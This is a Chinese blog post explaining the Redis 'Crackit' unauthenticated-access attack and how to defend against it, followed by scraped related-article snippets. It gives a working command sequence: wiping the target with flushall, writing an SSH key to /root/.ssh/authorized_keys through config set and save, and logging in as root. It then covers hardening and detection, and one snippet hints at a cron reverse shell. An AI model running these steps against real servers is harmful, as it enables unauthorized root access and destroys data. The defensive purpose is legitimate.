Redis Crackit漏洞利用和防护
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!
目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。
下面我模拟一下入侵过程:
准备工作:
- 1.准备一个运行在root用户下的验证redis。
- 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
- 3. 给你的公钥加点换行 # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦
#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit
#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com
!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!
#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。
如何防护:
1.禁用这些可以入侵的命令:
[root@test-node2 ~]# vim /etc/redis.conf
rename-command FLUSHALL ""
#rename-command CONFIG "" 注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
2.将你的redis不要运行在0.0.0.0.或者设置验证。
[root@test-node2 ~]# vim /etc/redis.conf
requirepass redis-passwd
bind 192.168.199.11
3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。
如何发现被入侵:
- 1.你的redis数据莫名其妙没有了。
- 2.检查你的rdb文件存放的路径
- 3.检查是否有非法的authorized_keys
Redis Crackit漏洞利用和防护的更多相关文章
- Redis Crackit漏洞防护
Redis Crackit漏洞利用和防护 注意:本文只是阐述该漏洞的利用方式和如何预防.根据职业道德和<中华人民共和国计算机信息系统安全保护条例>,如果发现的别人的漏洞,千万不要轻易入侵, ...
- Windows漏洞利用与防护(2015.8)
Windows平台下的漏洞利用与防护 0x00 概述 在过去的二十几年,Windows作为网络安全的主战场之一,攻于防的较量从未停息过.内存破坏漏洞作为研究的重点之一,经历了很多的发展也沉淀了前辈们许 ...
- Redis数据库漏洞防护
Redis是一个高性能的数据库,Redis Crackit及Redis安全漏洞本质上是由于Redis自身缺乏安全防护机制,同时Redis的使用者又未曾遵循官方的安全规范所导致的. Redis安全漏洞 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- redis未授权漏洞和主从复制rce漏洞利用
未授权无需认证访问内部数据库. 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /de ...
- redis弱密码漏洞利用
背景: redis无认证,或者弱密码,可以成功连接到redis服务器 反弹shell拿到的权限取决于redis的启动账号 操作: 1. Centos7安装redis客户端 #yum install r ...
- ssrf漏洞利用(内网探测、打redis)
摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...
- Drupal 7.31SQL注入getshell漏洞利用详解及EXP
0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...
- Struts2漏洞利用工具下载(更新2017-V1.8版增加S2-045/S2-046)
Struts2漏洞利用工具下载(已更新V1.8版) 2017-03-21:增加S2-046,官方发布S2-046和S2-045漏洞引发原因一样,只是利用漏洞的位置发生了变化,S2-046方式可能绕过部 ...
随机推荐
- [转]oracle制定定时任务(dbms_jobs)
原文地址:http://www.cnblogs.com/siashan/p/4183868.html 本节摘要:本节介绍使用oracle自带的job来实现oracle定制定时执行任务. 1.引言 ...
- Spring security 用户,角色,权限,资源
转自:http://blog.csdn.net/wybqq/article/details/52940194 关于Spring security对用户请求的处理过程 体现在这两个过程的体现. 关于用户 ...
- # Writing your-first Django-app-part 5 -test
确认bug 写test测试暴露bug 修复bug 更多测试例子 测试一个view The Django test client测试客户端. 提升DemoAppPoll/views.py 测试我们的vi ...
- C#通过反射获取对象属性,打印所有字段属性的值
获取所有字段的值: public void PrintProperties(Object obj) { Type type = obj.GetType(); foreach( PropertyInfo ...
- 微信支付WxpayAPI_php_v3(三)支付成功回调
接收回调通知后的业务处理都在NotifyProcess做,$data包含了微信返回给你的数据. Service: <?php /** * Created by PhpStorm. * User: ...
- gitlab安装与配置(Centos6.8)
0.Centos7请参照官方文档 https://about.gitlab.com/installation/#centos-7 1. Install and configure the necess ...
- Php5.5新特性 Generators详解
在PHP5.5.0版本中,新增了生成器(Generators)特性,用于简化实现迭代器接口(Iterator)创建简单的迭代器的复杂性. 通过生成器,我们可以轻松的使用foreach迭代一系列的数据, ...
- js实现选集功能
项目中有个播放列表选集的需求,如下图: 现在展示的1-42集全部,我们如何实现这个选集的功能呢? 我的思路如下: 1.将这42集按每10集划分,并存入数组: 2.保存开始和结束位置,比如说1~10,开 ...
- Java设计模式(20)观察者模式(Observer模式)
Java深入到一定程度,就不可避免的碰到设计模式(design pattern)这一概念,了解设计模式,将使自己对java中的接口或抽象类应用有更深的理解.设计模式在java的中型系统中应用广泛,遵循 ...
- Python 文件操作二
readlines就像read没有参数时一样,readlines可以按照行的方式把整个文件中的内容进行一次性读取,并且返回的是一个列表,其中每一行的数据为一个元素 #coding=utf-8 f = ...